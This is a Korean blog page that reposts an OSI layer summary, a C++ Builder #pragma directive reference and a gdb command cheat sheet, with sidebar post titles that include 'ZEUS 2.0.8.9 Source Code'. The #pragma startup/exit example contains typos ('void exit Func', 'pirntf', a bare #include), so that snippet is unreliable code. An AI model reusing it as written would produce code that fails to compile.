반응형
교과서에도 수 없이 보고.. 보고.. 시험도 보고.. 듣고..
입사해서 듣고.. 계속 듣고.. 심심하면 듣고.. 그런것이지만..

개인적으로 이 글이 가장 와닿길래 퍼옵니다.


1. Physical Layer : 물리적인, 기계적인 정보 등에 관한 자료를 처리하는 계층

2. Datalink Layer : 상위 계층과 Physical Layer의 연계를 담당하는 계층

3. Network Layer : 도착지와 출발지의 주소 설정 및 경로 설정 등을 담당하는계층

4. Transport Layer : 데이터를 분할, 전송, 재조립 등을 담당하는 계층

5. Session Layer : 상대 Application Layer와 내 Application Layer의 연계나 전송 실패에 대한 처리를 담당하는 계층

6. Presentation Layer : 네트워크 자원을 할당, Application Layer에 전달, 자료를 컴퓨터가 이해 가능한 Format으로 바꾸는 기능 등을 담당하는 계층

7. Application Layer : 사용자가 Network 자원을 사용할 수 있도록 해주는 기능을 처리하는 계층
<펌 : http://blog.naver.com/ctpoyou/115601335>

반응형

'작업공간 > Security' 카테고리의 다른 글

TOP 100 Shells  (0) 2011.07.06
코어덤프 확인 및 생성방법  (2) 2011.06.20
gdb 단축키  (0) 2011.06.02
ZEUS 2.0.8.9 Source Code  (0) 2011.05.16
Dump to Proccess Memory  (0) 2011.04.12
반응형

pragma 추가로 해결

#pragma comment(lib, "ws2_32.lib")







원문은 98년 12월 14일 천리안 프로그래머포럼에 올라온 글이며, 담비라는 분이 작성했다고 한다.

frekbs@chollian.net 이 메일 주소인데.. 천리안 메일을.. 아직도 쓰실리가;; =_=;;

따라서.. 저작권과 관련해서는 허락을 받지 못한 내용이다 -_-;;;

하지만 이런 분께서 공유하려고 올린 글을 퍼 올린다고 문제 될 건 없다고 본다.

담비님께 감사의 말을 전하면서..


#pragma는 이것을 지원하는 다른 compiler에서 방해가 없이 C++ Builder에서 원하는 지시어를 정의할 수 있도록 해줍니다. 만일 지시명을 인식하지 못한다면 에러 또는 경고 메세지를 수반하지 않고서 #pragma의 지시를 무시하게 됩니다. 




1. #pragma anon_struct
    . 사용법
      #pragma anon_struct on
      #pragma anon_struct off
    . Class에 익명의 구조체를 포함하여 compile하는것을 허락할 것인지를
      지시합니다. 익명이란 tag를 갖지 않는다는것을 의미합니다.
    ex)

    #pragma anon_struct on
struct S {
int i;
struct { // 익명구조체를 포함한다.
int j ;
float x ;
};
class { // 익명 클래스를 포함한다.
public:
long double ld;
};
S() { i = 1; j = 2; x = 3.3; ld = 12345.5;}
};
#pragma anon_struct off

void main() {
S mystruct;
mystruct.x = 1.2; // 포함된 data에 값을 할당한다.
}



2. #pragma argsused
    . argsused 프라그마는 함수 정의 사이에서만 허용되고 바로 다음 함수에만
      영향을 미치며 경고 메세지를 disable시킵니다.
      이 pragma를 사용하지 않은 경우 사용되지 않은 argument가 있으면
      "Parameter name is never used in function func-name"
      라는 경고 메세지를 표시하게 됩니다.
    ex)

    #pragma argsused
void __fastcall TImageForm::FileEditKeyPress(TObject* Sender, Char &Key)
{ if (Key == 0x13) {
FileListBox1->ApplyFilePath(FileEdit->Text);
Key = 0x0;
}
}
위의 예에서는 함수내에서 Sender라는 인수가 사용되지 않았지만 경고 메세지가
표시되지 않습니다.



3. #pragma codeseg
    . 사용법
      #pragma codeseg <seg_name> <"seg_class"> <group>
    . codeseg 프라그마는 함수들을 위치시킬 group, class 또는 segment의 이름을
      줄수 있도록 지시합니다. 만일 option없이 사용하였다면 함수의 배치를 위해서
      default code segment가 사용되어질것입니다. 결국 이 pragma를 사용하지 않는
      경우와 동일한 결과를 가져옵니다.

4. #pragma comment
    . 사용법
      #pragma comment (comment type, "string")
    . comment 프라그마는 출력되어지는 file에 주석을 기록시킬것을 지시합니다.
      comment type에 올수 있는 값들은 다음중의 하나가 될것입니다.
      * exestr
        linker가 ".OBJ" file에 string을 기록합니다. 이렇게 기록된 string은
        실행파일내부에 기록되어지며, 이것은 결코 메모리로 load되지 않습니다.
        하지만 적당한 파일 검색 유틸리티를 사용하여 실행파일에서 string을
        찾아볼 수 있습니다.
      * lib
        ".OBJ" file에 주석의 내용을 기록합니다.
        library에 새로운 module을 추가하는 경우 에만 comment 프라그마를 사용하여
        linker에게 결과 file에 명시할 수 있도록 지시할 수 있습니다. 다시 말하면
        기존에 작성되어진 module에는 comment 프라그마를 사용하여 string을 추가
        시킬수 없습니다. 새롭게 library를 작성한다면 예외일 수 있겠지요.
        linker는 최종의 library에서 string에 명시된 library module 이름을 포함
        합니다. 여러개의 module들도 이름지어질 수 있으며 이름을 만들기 위하여
        linke되어집니다.
      * user
        compiler는 ".OBJ" file에 string을 기록합니다. 하지만 linker에 의해
        string은 무시되어집니다. object 파일에만 그 내용이 남게 됩니다.

5. #pragma exit
    . 사용법
      #pragma startup function-name <priority>
      #pragma exit function-name <priority>
    . 이들 두 프라그마는 프로그램이 프로그램 시동시(main이 호출되기 전) 호출
      되어야 할 함수와 프로그램 탈출(프로그램이 _exit를 통해 종료하기 바로 전)
      을 명시할 수 있도록 합니다. 명시된 function-name은 반드시 인수를 취하지
      않고 void를 return하는 미리 선언된 함수여야합니다. 다시 말하면 다음과
      같이 선언될 수 있습니다.
      void func (void);
      priority는 반드시 64-255의 범위 내에 있는 정수여야하며 최상의 우선권은
      0입니다. 0-63사이의 priority는 C library에서 사용하므로 사용자가 이를
      사용해서는 안됩니다. 최상위 우선권을 가진 함수는 시동시에 맨 먼저 호출
      되고 탈출시에 맨 마지막으로 호출됩니다. 우선권을 명시해 주지 않을 경우
      기본적으로 100의 우선권을 갖게 됩니다. pragma startup 또는 exit에 사용된
      함수명은 반드시 프라그마 라인에 도달하기 전에 정의(또는 선언)되어야함에
      주의하십시요.
    ex)

      #include 
void startFunc(void)
{
printf("Startup Function.\n");
}
#pragma startup startFunc 64 //우선권 64로 시동시에 맨 먼저 호출됩니다.

void exit Func(void)
{
pirntf("Wrapping up execution.\n");
}
#pragma exit exitFunc //기본적으로 우선권이 100으로 지정됩니다.

void main(void)
{
printf("This is main.\n");
}



6. #pragma hdrfile
    . 사용법
      #pragma hdrfile "filename.CSM"
    . 이 지시어는 프리컴파일된 헤더를 저장할 파일의 이름을 설정합니다. IDE
      프로젝트를 위한 디폴트 파일명은 <projectname>.CSM이고 command line용
      으로는 BC32DEF.CSM이라는 이름을 갖습니다.  프리컴파일된 헤더를 사용하지
      않으면 이 지시어는 효력이 없으며 명령라인 컴파일러 옵션 -H=filename 또는
      프리 컴파일된 헤더를 사용하면 프리 컴파일된 헤더를 저장하기 위해 사용되는
      파일명을 변경할 수 있습니다.
      명령라인 옵션은 다음과 같습니다.
      * 프리컴파일드 헤더를 사용하는 경우
        -H=filename
      * 프리컴파일드 헤더를 사용은 하지만 새로운 프리컴파일드 헤더파일을
        변환하지 않는 경우
        -Hu
      * 프리컴파일드 헤더를 사용하지 않거나 새로운 프리컴파일드 헤더파일을
        변환하지 않는 경우. (기본값)
        -H-

7. #pragma hdrstop
    . 사용법
      #pragma hdrstop
    . 이 지시어는 프리컴파일에 적합한 헤더 파일의 목록을 종료시키는데, 이것을
      사용하면 프리컴파일된 헤더가 사용하는 디스크 공간의 양을 줄일 수 있습니다.
      프리컴파일드 헤더파일은 #pragma hdrstop이 선언되기 전에 #include를
      사용하여 포함된 헤더파일들을 동일하게 프로젝트 내의 source들간에 공유시킬
      수 있습니다. 그러므로 #pragma hdrstop전에 일반적인 헤더파일들을 포함하면
      최상의 콤파일러의 성능을 얻을 수 있습니다. 확실하게 #pragma hdrstop 전에
      #include를 사용한다면 모든 source file들에게 동일하게 적용되거나 아주
      조그마한 변화만이 있을 것입니다. IDE 환경에서는 강화된 프리컴파일드 헤더의
      성능을 가지는 코드로 변환합니다. 예를 들자면 다음의 New Application의 소스
      파일인 "Unit1.cpp"는 다음과 같이 될것입니다.

      #include  // 일반적인 헤더파일
#pragma hdrstop // 헤더파일의 리스트는 여기서 끝난다.

#include "Unit1.h" // 헤더파일의 명시
//....


      이 pragma 지시어는 오직 source file에서만 사용하며, 헤더파일에서 사용했다
      면 아무런 효과도 없을 것입니다.

8. #pragma inline
    . 사용법
      #pragma inline
    . 이 지시어는 명령 라인 콤파일러 옵션 -B 또는 IDE의 인라인 옵션과 동일
      합니다. 이것은 컴파일러에게 프로그램 내에 인라인 어셈블리 언어 코드가
      있음을 알려줍니다. 컴파일러는 #pragma inline을 만날때 -B옵션을 사용하여
      스스로 재시동하므로 이 지시어는 파일의 상단에 배치되는 것이 최선입니다.
      실제로 -B옵션과 #pragma inline을 모두 off시켜둘 수 있습니다. 그러면
      컴파일러는 asm문을 만나자마자 스스로 재시동합니다. 이 옵션과 지시어의
      목적은 컴파일 시간을 다소 절약하는 것입니다.

9. #pragma intrinsic
    . 사용법
      #pragma intrinsic [-]function-name
    . #pragma intrinsic를 사용하면 함수의 inline화를 위해 command-line 스위치나
      IDE의 옵션이 무시되어집니다.  intrinsic함수를 인라인화할 때는 그 함수를
      사용하기 전에 반드시 그것을 위한 원형을 포함시켜야만 합니다. 이것은
      인라인화 할 때 컴파일러가 인라인화한 함수를 내부적으로 인식하는 함수로
      개명하는 매크로를 실제로 생성하기 때문입니다. 가령 strcpy 함수를 인라인
      화 하기 위하여 다음과 같은 문장을 사용하였다면
      #pragma intrinsic strcpy
      컴파일러는 다음과 같은 매크로를 생성합니다.
      #define strcpy __strcpy__
      컴파일러는 두 선행 밑줄과 두 후미 밑줄을 사용하여 함수 호출을 인식하고
      그 함수의 원형을 내부적으로 저장해 둔 원형과 부합시키려 합니다. 그러므로
      원형을 공급하지 않거나 공급한 원형이 콤파일러 내부의 원형과 부합되지 않을
      경우, 콤파일러는 그 함수를 인라인화 하려는 시도를 불식시키고 에러를
      발생시킵니다. 이 프라그마 사용의 궁극적인 목적은 함수 호출에 대한
      오버헤드를 줄위기 위한것입니다. 함수호출은 빨라지겠지만 그만큼 크기는
      증가하게 될것입니다.
      ex)

      #pragma intrinsic strcpy
#pragma intrinsic -strcpy



10.#pragma link
    . 사용법
      #pragma link "[path]modulename[.ext]"
    . 이 지시어는 실행화일에 파일을 링크시킬것을 링커에세 지시합니다.
      기본적으로 링커는 -L옵션으로 지정된 패스와 로칼 디렉토리에서 modulename을
      찾습니다. path 아규먼트를 이용하여 디렉토리를 지정할 수도 있습니다. 또한
      링커는 확장자를 ".obj"를 기본으로 간주합니다.

11.#pragma message
    . 사용법
      #pragma message ("text" ["text"["text" ...]])
      #pragma message text
    . #pragma message는 프로그램 코드 내에서 사용자 정의 메세지를 명시합니다.
      첫번째 형식은 하나 이상의 스트링 상수들로 구성된 문장을 필요로 하고
      메세지는 괄호안에 싸여있어야만 합니다.(이 형식은 MSC와 호환됩니다.)
      두번째 형식은 경고 메세지의 문장을 위해 #pragma에 연속되는 문장을
      사용합니다. #pragma의 두가지 형태와 함께 다른 메크로의 참조는 메세지가
      디스플레이 되기전에 확장되어집니다.  사용자 정의 메세지가 디스플레이
      되는것은 기본치이며 명령 라인 옵션의 Show Warnings를 사용하여
      on/off 시킬 수 있습니다. 이 옵션은 콤파일러의 -wmsg에 해당합니다.

    ex)

      // msacm.h
#if defined(UNICODE) && !defined(_UNICODE)
#ifndef RC_INVOKED
#pragma message("MSACM.H: defining _UNICODE
because application defined UNICODE")
#endif
#define _UNICODE
#endif


      // ustring.h
#pragma message osl/ustring.h has been replaced by winsys/string.h
#include



12.#pragma obsolete
    . 사용법
      #pragma obsolete identifier
    . #pragma obsolete 프로그램 코드에서 pragma의 선언 이후에 마주치게 되는
      identifier의 첫번째 사용에 대해서 경고를 발생합니다. 경고는 identifier를
      쓸모없는 상태로 만듭니다.
    ex)

    // io.h
#if !defined(RC_INVOKED)

/* Obsolete functions */
#pragma obsolete _chmod
#pragma obsolete _close
#pragma obsolete _creat
#pragma obsolete _open
#pragma obsolete _read
#pragma obsolete _write

/* restore default packing */
#pragma pack(pop)

#if defined(__STDC__)
#pragma warn .nak
#endif

#endif /* !RC_INVOKED */



13.#pragma option
    . 사용법
      #pragma option options
      #pragma option push options
      #pragma option pop
    . #pragma option은 프로그램 원시 코드 내에 명령라인 옵션을 포함시키고자
      할 때 사용하며 push 또는 pop 옵션과 함께 사용되어질 수 있습니다.
      options는 임의의 명령라인 옵션(단, 아래에 수록된 것은 제외합니다.)이며
      하나의 지시어 내에서 여러개의 option들을 나타낼 수 있습니다.
      예를 들자면 다음과 같습니다.

      #pragma option -C
      #pragma option -C -A

      toggle option(-a, -K같은)은 comman line에서 on/off될수 있습니다.
      이들 toggle option들은 option 다음에 마침표를 두면 그 명령라인, 구성 파일,
      옵션 메뉴 설정값에 대해 옵션을 리털할 수 있으며 이를 이용하면 정확한
      설정값을 기억하지 않고도(혹은 알 필요가 없거나) 옵션을 임시로 변경했다가
      다시 그것을 디폴트로 복귀시킬 수 있습니다.

      pragma optino에 포함하여 나타날 수 없는 옵션들은 다음과 같습니다.
      -B   -c   -dname
      -Dname=string   -efilename   -E
      -Fx  -h   -lfilename
      -lexset   -M   -o
      -P   -Q   -S
      -T   -Uname   -V
      -X   -Y
      다음의 경우에 #pragmas, #indluces, #define과 약간의 #ifs를 사용할 수
      있습니다.
      * #if, #ifdef, #ifndef 또는 #elif지시어 내에서 두 밑줄로 시작하는 매크로명
        (그리고 그에 따른 내장 매크로도 가능합니다.)의 사용 전.
      * 첫번째 실재 token이 발생하기 전(첫번째 C 또는 C++ 선언문)

      특정 명령 라인 옵션은 이들 사건 앞의 #pragma option 내에서만 나타날 수
      있는데 그러한 option들은 다음과 같습니다.
      -Efilename        -f      -i#
      -m*   -npath   -ofilename
      -u   -W   -z

      다른 option들은 어디서나 변경될 수 있는데 다음 option들은 함수 또는 대상
      선언문 사이에서 변경될 경우 컴파일러에만 영향을 미칩니다.
      -1        -h      -r
      -2   -k   -rd
      -a   -N   -v
      -ff  -O   -y
      -G   -p   -Z

      다음의 option들은 언제든지 변경될 수 있으며 즉시 영향을 미칠 수 있습니다.
      -A   -gn   -zE
      -b   -jn   -zF
      -C   -K   -zH
      -d   -wxxx
      이들 option들은 그 명령 라인 상태로 재설정하기 위해 점(.)앞에 추가로
      나타날 수 있습니다.

      push 또는 pop을 사용한 #pragma option
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      또한 콤파일러 지시어들을 쉽게 변경할 수 있도록 push 그리고 pop 아규먼트들
      과 함께 #pragma option 지시어를 사용할 수도 있습니다.

      잠재적으로 많은 컴파일러 옵션과 경고들을 변경하는 파일들을 포함하기 위해
      #pragma option push를 사용할 수 있고, #pragma option pop은 단일 문장으로서
      이전의 상태를 되돌려준다. 예를 들자면 다음과 같다.

      #pragma option push
      #include <theworld.h>
      #pragma option pop
      #include "mystuff.h"

      #pragma option push 지시어는 첫번째로 모든 콤파일러 옵션들과 경고 설정들을
      스택에 push한 후에 다른 옵션들이 존재한다면 이를 처리한다. 다음의 예는
      #pragma option push가 옵션들을 사용하거나 혹은 그렇지 않을수 있음을
      보여줍니다.

      #pragma option push -C -A
      #pragma option push

      #pragma option pop directive은 스택으로부터 옵션들과 경고들의 마지막 설정
      을 pop함으로서 컴파일러 옵션과 경고들을 변경합니다. 만일 스택이 비어있고
      option pop과 일치하는 option push가 없으며 아무것도 발생하지 않은경우
      경고가 주어집니다. 다음은 빈 스택에대해서 경고를 발생시킵니다.

      #pragma option push
      #pragma option pop
      #pragma option pop      /* 경고가 발생합니다.

      권장하지는 않지만 지시어를 사용하여 이 경고를 off시킬 수 있습니다.
      #pragma warn -nop.

      만일 pop의 다음에 어떤 옵셥들을 명시할려고 한다면 에러가 발생하게되며
      pragma option pop 다음에는 어떤것도 허락하지 않습니다. 예를 들면, 다음은
      에러를 발생합니다.

      #pragma option pop -C         /* ERROR
      만일 push된 옵션들의 스택이 파일의 시작과 마지막이 동일하지 않다면
      다음과 같은 경고메세지가 발생합니다.

      Previous options and warnings not restored.

      이 경고메세지를 off시키기 위하여 지시어 #pragma nopushoptwarn를 사용할
      수 있습니다.

14.#pragma pack
    . 사용법
      #pragma pack(n)
      #pragma pack(push, n)
      #pragma pack(pop)
    . #pragma pack 지시어는 콤파일러 옵션 -a와 함께 #pragma option을 사용하는
      것과 동일합니다. n은 콤파일러가 저장된 메모리에 데이터를 정렬하는 방법을
      결정하는 byte의 정렬이다. 보다 자세한 사항은 -a 콤파일러 옵션에 관한
      내용을 참고하십시요. #pragma pack은 또한 #pragma option지시어에 push나
      pop을 사용하는것과 동일한 기능을 제공 하도록 push나 pop 아규먼트와 함께
      사용할 수 있습니다.  아래의 내용은 #pragma pack과 #pragma option을 비교한
      내용입니다.
      ━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━
      #pragma pack              ┃     #pragma option
      ━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━━━
      #pragma pack(n)           ┃     #pragma option -an
      #pragma pack(push, n)     ┃     #pragma option push -an
      #pragma pack(pop)         ┃     #pragma option pop
      ━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━

15.#pragma package
    . 사용법
      #pragma package(smart_init)
      #pragma package(smart_init, weak)
    . smart_init 아규먼트
      #pragma package(smart_init)는 패키지된 유닛들이 의존할 순서를 결정하기위해
      초기화 되어집니다.(패키지 소스파일 내에 기본적으로 포함됩니다.)
      일반적으로, 패키지들을 생성하는 .CPP 파일들에 #pragma package를 사용할 수
      있습니다.
      이 프라크마는 유닛을 콤파일하는기위한 초기의 순서에 영향을 미칩니다.
      초기화는 다음의 순서에 의하여 발생합니다.
      1. 만일 unitA가 unitB에 의존한다면 unitB는 반드시 unitA전에 초기화
         되어져야만하는 사용("uses")에 의존합니다.
      2. 링크의 순서(The link order)
      3. unit에서의 우선권의 순서.(Priority order within the unit.)

      보통의 .OBJ 파일들은(unit들로 생성하지 않은), 첫째로 우선권의 순서에 따라
      초기화가 일어나고서 링크가 됩니다. .OBJ 파일들의 링크 순서의 변경은
      글로발 오브젝트가 호출되어져 생성되는 순서에 의해 변경됩니다.

      다음의 예는 보통의 .OBJ 파일들과 unit들의 초기화에 어떤 차이점이 있는가를
      보여줍니다. 세개의 unit 파일들 A,B,C가 #pragma package(smart_init)를
      사용하여 "smart initialized"되고 우선권은 10, 20, 30의 값을 갖는다고
      예를 듭니다. 함수는 우선권의 값과 parent .OBJ에 의하여 이름지어져 a10,
      a20, a30, b10등과 같은 이름을 갖습니다. 세가지는 모두 unit들이며 A는 B와
      C를 사용하며 A,B,C의 순서로 링크되고 초기화의 순서는 다음과 같습니다.
           B10 B20 B30 C10 C20 C30 A10 A20 A30
      위와 같이 되었다면 .OBJ 파일들은 (unit들이 아니다)다음의 순서가 되어질
      것입니다.
           A10 B10 C10 A20 B20 C20 A30 B30 C30
      #pragma package(smart_init)를 사용한 .CPP 파일들은 또한 #pragma package
      (smart_init)를 정의한 .CPP 파일로부터 다른 .OBJ 파일들을 참조하는 #pragma
      link를 필요로 하며 unit에 의해 결정되어져야만 합니다. #pragma link는, 결정
      되지 않은 .OBJ는 라이브러리 등에 의하여 여전히 결정되어질 수 있도록 참조
      할 수 있습니다.
    . weak packages
      #pragma package(smart_init, weak)지시어는 .OBJ 파일이 패키지의 .BPI와
      .BPL 파일들에 정장되는 방법에 영향을 미칩니다. 만일 #pragma package(smart_
      init, weak)가 unit파일 내에 나타난다면 콤파일러는 가능하다면 BPL들로부터
      unit을 생략하고, 다른 에플리케이션이나 패키지에 의해 필요로 할 때면
      비 패키지화된(non-packaged) 로칼 복사본의 unit을 생성합니다. 유닛이 이
      지시어와 함께 콤파일 되었다는 것은 약하게 패키지화 되었음을 이야기 합니다.
      ("weakly packaged")
      #pragma package(smart_init, weak)는 동일한 외부 라이브러리(external librar
      y)들에 의존할수 있는 여러 패키지들 사이에서의 충돌을 제거하는데 사용되어
      집니다.  #pragma package(smart_init, weak) 지시어를 가지는 unit 파일들은
      글로발 변수들을 갖지 않아야 합니다.

16.#pragma resource
    . 사용법
      #pragma resource "*.dfm"
    . 이 프라그마는 form unit에 의해 선정되어지는 파일로서 일치되는 .DFM 파일과
      헤더파일을 필요로 합니다. 이러한 모든 파일들은 IDE에 의해 관리되어집니다.
      만일 폼을 위한 다른 변수들을 필요로한다면 pragma resource가 사용되어지고난
      후에 즉시 선언되어져야만 합니다. 선언은 반드시 form이 되어져야만 합니다.
          TFormName *Formname;

17.#pragma startup
    . 사용법
      #pragma startup function-name <priority>
      #pragma exit function-name <priority>
    . #pragma exit의 내용을 참조하십시요.

18.#pragma warn
    . 사용법
      #pragma warn [+:-:.]www
    . warn지시어를 이용하면 특정 명령라인 옵션 -wxxx를 우선할 수 있습니다.
      #pragma warn -aus 스위치를 사용하면 함수 단위로 취급됩니다. 개별적인
      변수들을 위해서 함수 내부에서 경고를 off시킬수는 없습니다. 함수 전체를
      off시키거나 혹은 그렇지 않거나 둘중 하나입니다.
    ex)

    #pragma warn +xxx
#pragma warn -yyy
#pragma warn .zzz



    위의 예에서는 xxx경고문은 on되고 yyy경고문은 off되며 zzz경고문은 파일의
    컴파일이 시작할 때 갖고 있던 값으로 재저장됩니다.


반응형
반응형
1. 우선 컴파일 시에 디버깅 정보를 담아야 한다.
gcc -g -o [프로그램명] [소스파일명]
디버깅 옵션인 -g 으로 컴파일하며, 최적화 옵션인 -O 은 주지 않도록 한다.

2. 실행방법
gdb [프로그램명]
gdb [프로그램명] [core파일명]
gdb [프로그램명] [실행중인프로세스pid]

3. 종료방법
q
Ctrl + d

4. 소스 찾아가기 (list)
l : main 함수를 기점으로 소스의 내용이 출력된다
l 10 : 10 행 주변의 소스가 출력되는데 10 - 5 행부터 10 + 5행까지 총 10행이 출려된다.
l func : func 함수의 소스를 출력
l -5 : 기본값으로 10줄이 출력된다고 가정하고, 다음에 출력될 라인이 11라인이라면, 10(마지막라인) - 5 라인을 중심으로 출력된다. 즉, 그대로 1~10라인이 출력된다.
l a.c:func : a.c 파일의 func 함수부분을 출력
l a.c:10 : a.c 파일의 10행을 기준으로 출력

5. 옵션
set listsize 20 : 한번에 출력하는 행의 갯수를 20개로 늘린다.
Enter : 마지막으로 수행한 명령어를 다시 수행한다

6. 프로그램 실행, 종료 (run, kill)
r : 프로그램 수행 (재시작)
r arg1 arg2 : arg1과 arg2를 인자로 프로그램 수행
k : 프로그램 수행종료

7. 역추적하기 (backtrace)
bt : 오류가 발생한 함수를 역으로 찾아간다.

8. 중단점 사용하기 (breakpoint, temporary breakpoint)
b func : func 함수에 브레이크 포인트 설정
b 10 : 10행에 브레이크 포인트 설정
b a.c:func : a.c파일의 func함수에 브레이크 포인트 설정
b a.c:10 : a.c파일의 10행에 브레이크 포인트 설정
b +2 : 현재 행에서 2개 행 이후 지점에 브레이크 포인트 설정
b -2 : 현재 행에서 2개 행 이전 지점에 브레이크 포인트 설정
b *0x8049000 : 0x8049000 주소에 브레이크 포인트 설정 (어셈블리로 디버깅 시 사용)
b 10 if var == 0 : 10행에 브레이크 포인트를 설정해되, var 변수 값이 0일 때 작동
tb : 임시 중단점을 사용하는 것으로 한번만 설정되며, 그 이후에는 삭제된다.

9. 중단점 설정하기 (condition)
condition 2 var == 0 : 고유번호가 2번인 브레이크포인트에 var변수가 0일 때 동작하라고 설정

10. 중단점 삭제하기 (clear, delete)
cl func : func 함수의 시작 부분에 브레이크 포인트 지움
cl 10 : 10행의 브레이크 포인트 지움
delete 1 : 고유번호 1번의 브레이크 포인트를 지운
cl a.c:func : a.c 파일의 func함수의 브레이크 포인트 지움
cl a.c:10 : a.c 파일의 10행의 브레이크 포인트 지움
cl : 모든 브레이크 포인트 지움

11. 중단점 정보보기 (information)
info b : 현재 설정된 브레이크 포인트의 정보를 보여준다
방향키Up/Down : 방향키 Up/Down을 누르면 히스토리 기능을 제공한다
info br + TAB : info br 로 시작하는 키워드가 히스토리에 있다면 뿌려준다
info TAB + TAB : info 뒤에 올 수 있는 인자 리스트를 보여준다
TAB + TAB : 현재 사용가능한 모든 명령어 리스트를 보여준다

12. 중단점 비활성화, 활성화 하기 (enable, disable)
disable 2 : 고유번호 2번인 브레이크 포인트 비활성화
enable 2 : 고유번호 2번인 브레이크 포인트 활성화

13. 디버깅 하기 (step, next, continue, until, finish, return, step instruction, next instruction)
s : 현재 출력된 행을 수행하고 멈추지만, 함수의 경우 함수의 내부로 들어가서 수행된다
s 5 : s를 5번 입력한 것과 동일
n : 현재 행을 수행하고 멈추지만, 함수의 경우 함수를 수행하고 넘어간다
n 5 : n을 5번 입력한 것과 동일
c : 다음 브레이크 포인트를 만날때 까지 계속 수행한다
u : for 문에서 빠져나와서 다음 브레이크 포인트까지 수행한다.
finish : 현재 함수를 수행하고 빠져나감
return : 현재 함수를 수행하지 않고 빠져나감
return 123 : 현재 함수를 수행하지 않고 빠져나감, 단, 리턴값은 123
si : 현재의 인스트럭션을 수행, 함수 호출 시 내부로 들어간다.
ni : 현재의 인스트럭션을 수행, 함수 호출 시 내부로 들어가지 않는다.

14. 감시점 설정 (watch)
watch i : i변수에 와치포인트를 설정하고 i변수가 바뀔 때마다 브레이크가 걸리면서 이전값과 현재값을 출력한다.

15. 변수 정보보기 (info, print)
info locals : 현재 상태에서 어떤 지역변수들이 있으며, 값은 어떠한지를 알 수 있다.
info variables : 현재 상태에서의 전역변수 리스트를 확인할 수 있다.
p lval : lval 값을 확인한다.
p func : func 함수의 주소값을 확인한다.
p pt : pt가 구조체라면 구조체의 주소를 확인한다
p *pt : pt가 구조체라면 구조체의 값을 확인한다.
p **pt : *pt가 구조체라면 구조체의 값을 확인한다.
info registers : 레지스트 값 전체를 한번에 확인한다.

16. 레지스트 값 및 포인터가 가리키는 구조체의 배열을 출력 (info, print)
info all-registers : MMX 레지스트를포함하여 거의 대부분의 레지스트 값을 확인한다.
p $eax : eax 레지스트의 값을 확인한다. ( ex_ eax, ebx, ecx, edx, eip )
p *pt@4 : 4크기의 배열로 gdb가 알 수 있으므로 4개의 크기만큼 가져와서 확인할 수 있다.

17. 중복된 변수명이 있는 경우 특정 변수를 지정해서 출력 (print)
p 'main.c'::var : main.c 파일에 있는 전역변수인 var 변수의 값을 출력
p hello::var : hello 함수에 포함된 static 변수인 var 변수의 값을 출력

18. 출력 형식의 지정
p/t var : var 변수를 2진수로 출력
p/o var : var 변수를 8진수로 출력
p/d var : var 변수를 부호가 있는 10진수로 출력 (int)
p/u var : var 변수를 부호가 없는 10진수로 출력 (unsigned int)
p/x var : var 변수를 16진수로 출력
p/c var : var 변수를 최초 1바이트 값을 문자형으로 출력
p/f var : var 변수를 부동 소수점 값 형식으로 출력
p/a addr : addr주소와 가장 가까운 심볼의 오프셋을 출력 ( ex_ main + 15 )

19. 타입이 틀릴 경우 타입을 변환하여 출력
p (char*)vstr : 실제 컴파일 시에 (void *)형으로 되어있었다고 하더라도 (char *)로 캐스팅 하여 보여줌

20. 특정한 위치 지정
p lstr + 4 : 예를 들어 lstr = "I like you." 라는 문자열은 "ke you."가 출력된다.

21. 변수 값 설정
p lval = 1000 : 변수값 확인 이외에는 설정도 가능하다.

22. 출력명령 요약 (print)
p [변수명] : 변수 값을 출력
p [함수명] : 함수의 주소를 출력
p/[출력형식] [변수명] : 변수 값을 출력 형식으로 출력
p '[파일명]'::[변수명] : 파일명에 있는 전역변수 값을 출력
p [함수명]::[변수명] : 함수에 있는 변수 값을 출력
p [변수명]@[배열크기] : 변수의 내용을 변수 배열의 크기 형태로 출력

23. 디스플레이 명령 (display, undisplay)
display [변수명] : 변수 값을 매번 화면에 디스플레이
display/[출력형식] [변수명] : 변수 값을 출력 형식으로 디스플레이
undisplay [디스플레이번호] : 디스플레이 설정을 없앤다
disable display [디스플레이번호] : 디스플레이를 일시 중단한다.
enable display [디스플레이번호] : 디스플레이를 다시 활성화한다.

24. 스택이란
스택의 경우는 상위 1기가는 커널에서 사용하며, 그 바로 아래 공간인 상위 0xBFFFFFFF 부터 하위로 늘어나게된다.
상세한 디버깅을 위해서는 -g 옵션으로 디버깅 정보와 --save-temps 옵션을 통해 어셈블리 코드를 얻어낼 수 있다.
상위 프레임으로 갈 수록 메인 함수에 가까워 지는 것이다.

25. 스택 프레임 관련 명령 (frame, up, down, info)
frame [N] : n번 스택 프레임으로 변경
up : 상위 프레임으로 이동
up [N] : n번 상위 스택 프레임으로 이동
down : 하위 프레임으로 이동
down [N] : n번 하위 스택 프레임으로 이동
info frame : 현재 스택 프레임 정보를 출력
info args : 현재 스택 프레임의 함수가 호출될 때 인자를 출력
info locals : 현재 스택 프레임의 함수내의 지역변수를 출력
info catch : 현재 스택 프레임의 함수내의 예외 핸들러를 출력

26. 스택 트레이스 하는법
b main 또는 원하는 곳에 브레이크 포인트를 잡고
오류가 발생할 때 까지 c를 통해 진행하면, 세그먼트 폴트 등의 오류가 발생하고 디버그가 멈추는데
여기서 bt 를 통해서 전체 스택 프레임을 확인하고 어떤 함수에서 호출시에 문제가 발생하였는지 확인
단, 일반적인 라이브러리에서는 오류발생 확률이 없다고 보고, 그 함수를 호출시에 문제를 의심한다.
다시 프레임을 이동하면서, 로컬변수와 전역변수 등을 확인하면서 디버깅이 가능하다.

27. 메모리 상태 검사 (x)
x/[범위][출력 형식][범위의 단위] : 메모리의 특정 범위의 값들을 확인할 수 있다.
이렇게 메모리를 직접 읽어보는 일은 -g 옵션을 가지고 컴파일 되지 않은 실행파일을 디버깅 할때에 자주 사용된다.
즉, x/10i main 과 같이 역 어셈블하여 해당 코드를 추측하는 것이다.

28. 출력형식
x/10 main : main 함수 시작부터 40바이트를 출력한다. 출력형식은 다음과 같다.
x/10t main : main 함수 시작부터 40바이트를 2진수로 출력
x/10o main : main 함수 시작부터 40바이트를 8진수로 출력
x/10d main : main 함수 시작부터 40바이트를 부호가 있는 10진수로 출력 (int)
x/10u main : main 함수 시작부터 40바이트를 부호가 없는 10진수로 출력 (unsigned int)
